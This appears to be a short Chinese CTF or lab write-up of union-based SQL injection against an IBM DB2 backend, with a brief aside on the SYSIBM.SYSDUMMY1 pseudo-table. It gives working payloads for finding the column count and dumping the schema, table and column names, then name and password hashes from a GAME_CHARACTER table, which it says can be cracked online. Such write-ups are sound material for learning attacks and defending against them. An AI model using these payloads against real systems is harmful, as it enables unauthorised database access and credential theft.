进入环境,用order by测试,发现可以,并测试到字段为4
接下来用union select 1,2,3,4 发现失败
后来上网看了别人的思路是union select 1,2,3,4 from sysibm.systables就可以回显了
应该是不同的数据库语法问题
爆库 id=2 union select 1,2,current schema,4 from sysibm.sysdummy1 ,注意db2是对大小写敏感
这里解释下 sysdummy1,因为他的命名有点奇怪不像系统命名表,所以我去百度了一下
SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容,类同于临时表
可以用来返回当前实时信息:
例如:
'SELECT CURRENT DATE FROM SYSIBM.SYSDUMMY1' 命令返回当前系统日期
'SELECT 1+1 FROM SYSIBM.SYSDUMMY1' 执行数学运算
'SELECT NEXTVAL FOR MYSEQ FROM SYSIBM.SYSDUMMY1' 得到序列值
好了,继续主题,爆表id=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
爆字段, id=2 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1
id,name,password
爆字段值 id=2 union select 1,name,password,4 from GAME_CHARACTER limit 1,1
MD5在线解密即可